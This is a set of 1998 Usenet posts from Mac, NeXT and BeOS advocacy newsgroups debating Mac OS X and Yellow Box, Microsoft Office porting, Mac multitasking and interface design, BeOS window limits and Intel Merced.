DB> starts to become a direct competitor, there will not be an MS-Office for
DB> OS-X for Wintel.
Microsoft is too canny to do anything more than Carbonize its Mac apps, IMO.
Microsoft simply will not support an Apple OS on Intel, for practical,
competitive reasons.
First, Microsoft does not welcome OS competition on the Intel side; it is
currently planning to compete ruthlessly with forthcoming 64-bit Merced-only
OSes from Sun, HP and others.
Second, Microsoft is loathe to write anything on YB, since a port to
YB/OSX-Intel would give Apple's Intel OS much-needed credibility. And Apple
knows this.
It seems clear to me that Apple's acknowledgement of this reality is one
reason that it dropped plans to continue development on an Apple-branded Intel
OS that, contrary to NeXT's marketing orientation, would be for the mass
market. Without Microsoft's popular apps, a mass-market consumer OS simply
cannot thrive.
Given DOJ pressures and watchfulness, Microsoft would be hard-pressed to
refuse to do a relatively simple port to OSX/Intel from a YB version. If
Microsoft _did_ port MS_Office to YB, Apple would be foolish _not_ to scare up
OSX/Intel. This is understood at Microsoft too.
Salut!
---
* TIMM 1.3
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 20 Jul 1998 12:15:28 -0700
Organization: Cisco Systems Inc
Message-ID: <35B39750.DC508489@cisco.com>
References: <6or4sj$83a$1@supernews.com> <casper-1907980912090001@wheat-d-21.monroeville.nb.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Tim Scoff wrote:
>
> In article <6or4sj$83a$1@supernews.com>, a l t en ber@nashville.com
> (delete spaces, spam trick) wrote:
>
> >Fortunately, I figured out that I could use the FTP function of the Netscape
> >browser to upload it to my server. It took a couple of minutes over their
> >ISDN line to upload each picture. To save time and money ($24/hr), while the
> >first file was uploading, I went to scan the second image. And guess
> >what---can't do that! I couldn't switch back to HP's software until the
> >upload was complete. I haven't had to deal with the lack of mutlitasking
> >since abandoning the Mac platform for NeXT 9 years ago. What amazes me is
> >that Apple managed stay in business with such an OS.
>
> If you had been using Fetch as your ftp client instead of the one built
> into Netscape you would have been able to switch over to HP's software.
> It's an application issue and an OS issue combined. If the software is
> written to cooperate with the rest of the system properly the Mac is very
> good at multitasking.
>
Yeah Lee, it's your fault! You shouldn't click that FTP button over
there, you
should click this FTP button over here! I'm surprised you couldn't tell,
after
all, the Mac is sooooo easy to use. :-)
Barry
--
Barry Friedman mailto:friedman@cisco.com
Software Engineer/ phone:408-526-8284
Code Dependent "Not everything that can be counted counts,
Cisco Systems Inc. and not everything that counts can be counted"
-- Einstein
Date: Mon, 20 Jul 1998 06:38:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2007980638300001@elk43.dol.net>
References: <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu>
In article <6otqmo$s04$3@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
: When the 286 came out, lots of people were saying it was too much power
> : for desktop machines and that it would only be used in servers.
> : Ditto 386.
> : Ditto 486.
> : Ditto Pentium.
>
> This time, it may actually come to pass. Microsloth Office won't get
> any faster on a 2.2 GHz Merced compared to a 400 MHz P II. before, there
> was always a demand for faster and faster processors regardless of cost.
> Now even the "low end" is fast enough for office type apps.
That's always been true. By any reasonable standard, a Pentium MMX is fast
enough for most people, but that doesn't stop the PII from selling like
hotcakes.
There are several factors to consider:
1. While MS Office today runs great on a 400 MHz PII, what happens when MS
adds Chrome and other whiz-bang features. Heck, I read that Chrome
_requires_ a 300 MHz PII MINIMUM.
2. What about games? The driving force for many home users (at least based
on what you read in this newsgroup) appears to be games. I'm sure that
there are features that would take advantage of a Merced
(1024x768xmillions of colors at 100fps or whatever).
3. One-upsmanship. For many people, it's a keeping up with the Joneses
kind of thing.
>
> : The only question is, "how long after its introduction will Merced make
> : its way into consumer machines". The answer, I suspect, will depend on
> : AMD's success with the K7 and how quickly Intel needs to have a consumer
> : machine to keep K7 from taking sales away.
>
> Unfortunately I cannot explain it at this time, but K7 won't be competing
> against Merced.
That was my point (in case I didn't make it clear).
Let's say that K7 really starts to make some inroads against PII. Intel is
going to want to create something new to switch the market away again.
Look at their frequent slot/socket changes. Intel can price its new chips
almost wherever it wants and still make money (with the amount of profit
varying, of course). If K7 gets 20% of the PII class market (not that I
think this is likely), Intel may introduce Merced at a price that makes it
worthwhile for people to jump. If K7 isn't a threat, Merced may be launced
as a high priced server product.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
Subject: Re: Mac OS X UI
Message-ID: <JWMs1.1091$E5.6247799@proxye1.san.rr.com>
Date: Mon, 20 Jul 1998 19:31:53 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 12:31:53 PDT
Organization: TWC Road Runner, San Diego, CA
Michael Schuerig wrote in message
<1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>...
>Pulsar <tokarek@uiuc.edu> wrote:
>
>> Apple has been making the UI prettier without adding a lot of
>> functionality or fixing behaviors.
>
>What exactly are you missing? What needs to be fixed? (Don't tell me
>about unmounting disks by dragging them to the trash -- just use "Put
>Away" instead.)
Speaking about the shipping Mac OS. Drag feedback is inconsistant (text vs.
windows vs. icons). The clipboard is not much (if at all) smarter than it
was when the Mac shipped. Aliases are "dumb"--not working across volumes.
Type/Creator is little better than MS's scheme. I like the OpenDoc concept
that all you need to view a document was with the document. File dialogs
need work (although Nav Services which is shipping out to help). It's too
easy to forget about an open app with no open documents. Find has been
historically weak in the Finder.
The system ought to know about people and speller services should be
standard. Getting somewhat off-topic OPENSTEP/Yellow Box should moving in
the direction of Pink/Taligent. Yes that was ambitious, yes that was not
completely successful. However, I believe what was attempted, if
successful, would be the next "killer app." There's also the difference in
that there's considerably more experience behind Yellow Box than
Pink/Taligent. There's OpenDoc, there's Copland, there's Pink/Taligent and
there's OPENSTEP. Certainly, there would be a better chance for success.
Those are a few things, I'm sure there are more.
>> A lot of things will be fixed in Mac OS 8.5, but it's taken too long to
>> get even this. _And_ Apple doesn't seem to be advancing the UI any
further
>> in other ways. What about the menu system?
>
>Well, yes, what about the menu system? What's wrong with it? Please show
>me some better alternatives.
It doesn't scale well to 20" screens; I've got to agree with that. I see no
problem with making the menu system a menu bar by default with NeXT-style
floating menu palette as an option.
>[OpenDoc]
>I completely agree.
>
>Don't get me wrong, I'm not trying to tell you to take the Mac UI as
>it's always been and shut up. I'm always open for improvements, but
>first I've got to understand what improvements you have in mind.
I'm not saying it ought to all go but it could be improved more than it has
been.
--Ed.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 20 Jul 1998 19:34:50 GMT
Organization: Primenet (602)416-7000
Message-ID: <6p064q$1pd$1@nnrp03.primenet.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com>
<6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com>
NNTP-Posting-Date: 20 Jul 1998 19:34:50 GMT
Kenneth C. Dyke <kcd@babylon5.jumpgate.com> wrote:
: But it's not a single app, and it's not just onscreen windows. It's
: the total number of onscreen and offscreen windows in the entire
: *system*.
Ken, you seem to know a lot about this problem. Tell me, is the problem
"locked-in" by API definitions or some such ... or is it simply a problem
with the current implementation?
If it is an implementation problem, I don't see what the big deal is. If
it becomes enough of a pain, someone will fix it.
As we've seen with the MacOS, there is a greater problem if your APIs lock
you into a sub-standard solution. We would like the Macs multitasking
and memory management to cahnge, but the API lock-in makes it difficult.
Hence the transition to Carbon APIs as a first step.
John
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 10:04:09 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-136.phx.primenet.com
Message-ID: <not-2007981004090001@ip-26-136.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se>
NNTP-Posting-Date: 20 Jul 1998 17:02:09 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se>,
Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
> 20 year + cars are a minute part of the cars in use.
> 2 year + old macs are the vast majority of macs in use.
You missed the point. A 20-year-old car is not expected to be cutting
edge. Neither is a 2-year-old Mac (or any PC.) Mac OS X is going to be a
*cutting edge* OS--and Apple will provide 8.5, 8.6 and 9.0 in parallel
with OS X as an excellent (but limited) way for non-cutting-edge Macs.
> If that wasn't the case the installed base of macs would be very small
> indeed given the sales of the last two years....
Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
old--they don't even get tech support. Try to call Apple right now and ask
them for help with your IIsi.
One more time folks, just for fun: Mac OS X is a *cutting edge* OS. Not a
typical user OS. Not a have-to-have-it OS. Not a fun bleeps and bloops and
"ooh, don't my windows look cool!" OS. Only those on the cutting edge are
going to need it, and only those on the edge will get it.
> Seriously, a number of people who have supported Apple for a long long
> time are upset about G3 only support of the new Mac OS.
The ones who are serious about Macs will upgrade to G3. 3rd Quarter 1999
is a VERY long time away. The ones who are not will stick with Allegro and
and the rest of the non-G3 OSs. Or why not just stick with OS 8.1? My
systems are so stable and fast right now, I might just keep one at 8.1
forever.
After all, there is more to life than OS upgrades. Just ask a Windows 95
user right about now...
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
From: Corey <corey@virtual-impact.com>
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
In-Reply-To: <6ouqr3$99$1@nntp2.ba.best.com>
Message-ID: <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Date: Mon, 20 Jul 1998 17:01:37 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 10:01:37 PDT
Organization: @Work Internet powered by @Home Network
On 20 Jul 1998, Kenneth C. Dyke wrote:
>
> But in any case, it's not that this is *really* a critical bug I
> guess... it's just very 'amusing' to see in such a new ground breaking
> OS. And it's a limitation other systems I use don't seem to have,
> rediculous or not.
>
Sure you have a valid point - although it's just as ridiculous for you
to harp on that one - i.e. is that the only evidence you've found of
limiting factors on the BeOS ?? ... sheesh, you know it must be a
pretty damned sound platform for people have to go to such lengths as
complain about not being able to open 200+ windows at the same time
with a single app.
Now, tell me honestly - how many limitations does *your* platform of
choice provide? ... It would have to be 0 for you to not appear as
total hypocrite.
And if you really want to get down to it, it's probably pretty reasonable
to limit the amount of open windows down to a *mere* 200 - I mean, any
program that produces more than just a couple handfulls should be shot
and killed on the spot.
Beers,
Corey
corey@virtual-impact.com
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dchc37.ouwyq8vb2m5xN@dialup112-3-26.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6ovl5c$qe0$1@news.cs.tu-berlin.de>
Organization: pv
Date: Mon, 20 Jul 1998 19:48:32 GMT
NNTP-Posting-Date: Mon, 20 Jul 1998 21:48:32 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> >> Communicating objects with identity and behavior. These are the only
> >> externally visible 'properties'. (See RM-ODP). Objects also have
> >> state, but this is invisible.
> It differs in that there is no reference to ADTs. More importanty,
> there is no visible class as an intrinisc object property. Externally
> visible classification is only via observed behavior, i.e. the ability
> to respond to certain messages (grouped into named protocols/interfaces).
But, but ... ? Is it just the name ADT? For some reason this makes me
think of H C Anderson and emperors and clothes ;-)
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 20 Jul 1998 19:47:50 GMT
Organization: Primenet (602)416-7000
Message-ID: <6p06t6$1pd$2@nnrp03.primenet.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com>
<6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p022p$8s1$1@news.spacelab.net>
NNTP-Posting-Date: 20 Jul 1998 19:47:50 GMT
Charles W. Swiger <chuck@codefab.com> wrote:
: The most obvious problem with the BeOS is a lack of compelling
: application software. Without that, BeOS lacks a good answer to the question
: "why run it?"....
A number of people are running BeOS because it's fun and cheap. That may
be enough to get things started.
Actually, Be's strategy of pumping the OS out to a lot of users is one of
the things I identify with. It seems the right way to play the game.
Imagine selling a prerelease to anyone interested, for less than a hundred
bucks, and no NDA required.
John
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X GUI---3 clicks to any window?
Newsgroups: comp.sys.next.advocacy
References: <edremy-ya02408000R1807982049360001@nnrp.usc.edu> <1998071912165000.IAA22879@ladder01.news.aol.com> <forrestDELETE-THIS!-1907981455030001@term4-17.vta.west.net> <6ou1t5$i00$1@lwnws01.ne.highway1.com> <slrn6r6kln.9fc.sal@panix3.panix.com>
Message-ID: <35b365db.0@news.depaul.edu>
Date: 20 Jul 98 15:44:27 GMT
Salvatore Denaro <sal@panix3.panix.com> wrote:
> On 20 Jul 1998 00:10:13 GMT, John Kheit <jkheit@mediaone.net> wrote:
> >forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> >> And NeXT equally fails to scale down to 15" monitors like mine.
> >Well, if your 15" can do 1024X768, it does just fine.
> John, have you ever tried to run 1024*768 on a 15" monitor? Even on
> OpenStep with it's crisp clean fonts, it is almost illegible.
That would depend on the dot pitch of the monitor. A .28mm monitor
might have trouble, just like a 17" .28mm monitor has trouble with
1280x1024. Too blurry, but it does fine at 1024x768 or 1152x864.
A finer dot pitch would let a 15" monitor display 1024x768 cleanly.
--
"... and subpoenas for all." - Ken Starr
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 20 Jul 1998 15:03:53 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
On Mon, 20 Jul 1998, Michael Schuerig wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Apple has been making the UI prettier without adding a lot of
> > functionality or fixing behaviors.
>
> What exactly are you missing? What needs to be fixed? (Don't tell me
> about unmounting disks by dragging them to the trash -- just use "Put
> Away" instead.)
Oh, come on. Are you dismissing that issue because there is a non-obvious
solution? The UI should be intuitive. It should be easy. How are people
going to know about put away? Why is that an _obvious_ way to deal with
the problem?
Don't casually dismiss problems in the Mac OS because there is a way
around them particularly if the way around the problem is non-obvious as
Put Away is.
Anyway, another area that needs to be fixed is Open/Save dialogs and the
pervasive use of system modal dialogs all over. One problem with Open/Save
dialog boxes is that they are modal. When those are visible, you can do
_nothing_ else with the computer. If you want to check up on some
information that may be relevant to what you are doing, you must press
cancel, go do whatever, and invoke the dialog box again. You cannot switch
out of it.
The navigation of folders and such in the Open/Save dialogs is
inconsistant with the Finder. It could present a similar interface, but it
does not. You cannot search for files and there is no standard preview or
navigation.
The menu system could be better. Having a menu bar that stretches across
the entire screen wastes space particularly on large screens where there
are far too few menu choices to fill up even a majority of the space.
See http://www.ews.uiuc.edu/~tokarek/rhapsody/ for something that
might be better.
> > A lot of things will be fixed in Mac OS 8.5, but it's taken too long to
> > get even this. _And_ Apple doesn't seem to be advancing the UI any further
> > in other ways. What about the menu system?
>
> Well, yes, what about the menu system? What's wrong with it? Please show
> me some better alternatives.
http://www.ews.uiuc.edu/~tokarek/rhapsody/
The Macintosh menu bar wastes space. Particularly on large screens, there
is space that cannot be used by anything else where there are no menu
choices and there is only blank menu space.
No non-submenu invoking choices can (well should) be in the bar (root
menu) even though this would be good for organizational purposes.
In my proposal, there are indicators of precisely which menu choices will
bring up submenus and which will perform some action. This way, the root
menu can have non-submenu invoking choices. The distinction betweent the
two is clear.
Both orientations of my proposal take less screen space than the common
menu bar. They take only as much space as needed to display all the
choices in that level. There is a way to toggle between orientations so
that the user can have them as he prefers on a menu by menu basis.
There are visual cues given for how the submenus can be torn off.
The submenus can be torn off.
Umm... it looks prettier. :)
> [OpenDoc]
> I completely agree.
>
> Don't get me wrong, I'm not trying to tell you to take the Mac UI as
> it's always been and shut up. I'm always open for improvements, but
> first I've got to understand what improvements you have in mind.
The improvements I have in mind are not necessarily the best. I do not
have a monopoly on good ideas (or bad ones either ;). I am just saying
that there are problems with many facets to the Mac OS that _could_ be
addressed. Apple seems to be addressing some of them with Mac OS 8.5 and
such, but there are a lot left that need to be better done before I think
they can say that they have the best UI in the world and be proud of it.
It's not a very flattering thing to say "It's better than Windows".
That's like saying "it's prettier 'n dog vomit."
Apple has largely sat on its hands while others expand and enhance their
UIs. While I believe that other facets of the Mac OS tend to make up for
this lack, PMT for example is something that _does_ affect the way users
interact with the computer. Apple has been futzing around with doing that
for a long time now.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 20 Jul 1998 13:42:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ovhg8$qsp@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net>
Originator: gupta@tlctest
Joshua T. McKee <Josh.McKee@cbns.com> wrote:
>
>If your criteria for an OS is multitasking, then I guess the Mac ain't for
>you. If your criteria for an OS is ease of use, and high productivity,
>then I guess the Mac is for you.
>
>The Macs multitasking is not perfect, but it works...and works amazingly
>well. Who cares how old it is if it works for the majority of tasks? I
>definitly wouldn't want it for a server OS...but then, I don't think the
>Mac is marketed as a server platform.
The Macintosh should get preemptive multitasking (with a variety of
scheduling methods possible). As a practical matter, Macintosh multitasking
is as useable, if not more, than Windows 95 multitasking.
Buzzword compliance is therefore not enough.
-arun gupta
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 20:04:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p07rq$gn5$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com>
In article <MPG.101c7d4f5307a6f09899c6@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> "Thanks for expressing your concern, Madam. The salesman has been fired
> and the manager has committed hari kari. Will that be sufficient for
> you?"
"Yes, after you fetch me the drink that I asked for."
> Unfortunately, there are things that are prohibitively expensive and
> difficult. Apple's survival is at stake. If Apple doesn't pull this
> off, I don't think they've got another choice.
Then they shouldn't have said that they would do it. Their incompetance is
hardly my problem. And I don't believe that Apple can't port Mac OS X to all
the PowerMacs.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Advocacy BloodDrive Update
Date: Mon, 20 Jul 1998 15:14:51 -0500
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <35B3A53B.D5BDFD97@rauland.com>
References: <MPG.101c7bc9a5a016729899c5@news.supernews.com> <macghod-1907982246160001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9e22c0037309899ca@news.supernews.com>
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Donald Brown wrote:
>
> In article <macghod-1907982246160001@sdn-ar-
> 001casbarp151.dialsprint.net>, macghod@concentric.net says...
> > In article <MPG.101c7bc9a5a016729899c5@news.supernews.com>,
> > don.brown@cesoft.com (Donald Brown) wrote:
> >
> > > Last week I posted a message challenging the various computer advocates
> > > to put their veins behind their mouths, and see what platform could give
> > > the most blood to deal with the shortages we've got now.
> > >
> > > Well, in this week, We've gotten one vote, and it's me. (I'm not able to
> > > donate, but I twisted an arm and got a friend's proxie.)
> > >
> > > So, the vote total stands:
> > >
> > > Macintosh advocates: 1/2 vote
> > > Windows advocates: 1/2 vote
> > > All other advocates: The Big GooseEgg.
> >
> > So in other words NO BODY donated blood (except for your friend).
> >
> > No matter who ENDS up winning, I think this shows BOTH are apathetic
>
> It is the first week. I'm hopeful that things will happen. And, from
> comments on the board, many of them are regular donators as is, so they
> have to wait until they can donate again.
>
> If it's like this next Sunday, that will be sad.
>
> Donald
I donated blood on July 8th. Am I eligible to vote?
Edwin
--
"... start treating people as individuals, instead of some huge glob of
evil lump." -- David T. Wang
From: bob@columbia.uark.edu (Robert D. Bumpus)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 20 Jul 1998 20:27:46 GMT
Organization: The University of Arkansas
Message-ID: <6p0982$74q@picayune.uark.edu>
References: <35B35EB7.3435@betabreakers.com>
writes
> Pinochet wrote:
> >
> > Josiah Fizer wrote in message <35b2b37e.0@blushng.jps.net>...
> >
> > >I gues Unreal is Windows killer app as thats about the only thing I
cant do
> > >on my other computers.
> >
> > Well, Unreal does a good job of killing Disk Space.....
>
> yes but hard drives are getting biger so us programers dont NEED to
> build small well built apps, right?
If you were an MS Office programmer I'd think you're serious.
"Word is how big?!?!?"
-me, upon install of Office 97
Bob
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 13:30:52 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-178.phx.primenet.com
Message-ID: <not-2007981330520001@ip-26-178.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu>
NNTP-Posting-Date: 20 Jul 1998 20:28:53 GMT
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <pxpst2-2007981409410001@pelli.pathology.pitt.edu>,
pxpst2@spam.suxs.unixs.cis.pitt.edu wrote:
> > Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> > old--they don't even get tech support. Try to call Apple right now and ask
> > them for help with your IIsi.
>
> That is way older than 4 years.....A 4 year old Mac would be a first
> generation PMac(ie x100)
Which is why I said *over* 4 years... ;-)
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
Message-ID: <35B35E70.3D1@betabreakers.com>
Date: Mon, 20 Jul 1998 08:12:48 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
